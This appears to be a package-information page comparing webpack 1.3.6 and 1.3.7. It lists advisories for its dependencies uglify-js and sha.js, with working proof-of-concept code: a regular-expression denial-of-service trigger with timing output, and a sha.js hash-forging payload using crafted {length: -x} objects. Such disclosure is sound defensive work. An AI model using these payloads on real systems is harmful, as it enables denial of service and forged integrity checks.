Webpack version 1.3.7 represents a minor update from its predecessor, version 1.3.6, both iterations focusing on bundling CommonJs and AMD modules for browser deployment. These versions allow developers to split codebases into smaller, on-demand loaded bundles, improving initial load times and overall application performance. A key feature is the support for loaders, enabling preprocessing of various file types like JSON, Jade, CoffeeScript, CSS, and LESS, alongside custom transformations.
Comparing the two versions, the core functionalities and dependencies remain consistent. They share the same dependencies, which include essential libraries like async, clone, mkdirp, esprima, tapable, optimist, memory-fs, uglify-js, webpack-core, enhanced-resolve, and node-libs-browser. Similarly, the devDependencies are identical, encompassing testing frameworks like mocha and should, various loaders for different file types, and plugins for extended functionality such as i18n-webpack-plugin, webpack-dev-middleware, component-webpack-plugin, and extract-text-webpack-plugin. The core value proposition for developers remains constant, offering a flexible and extensible module bundler.
The primary difference lies in the releaseDate. Version 1.3.7 was released shortly after 1.3.6, approximately 3 hours later, suggesting that the update in version 1.3.7 likely contains bug fixes, minor improvements, or security patches that did not warrant a more significant version bump. Developers upgrading from 1.3.6 to 1.3.7 should anticipate a smooth transition.
All the vulnerabilities related to the version 1.3.7 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js){length:'1e99'}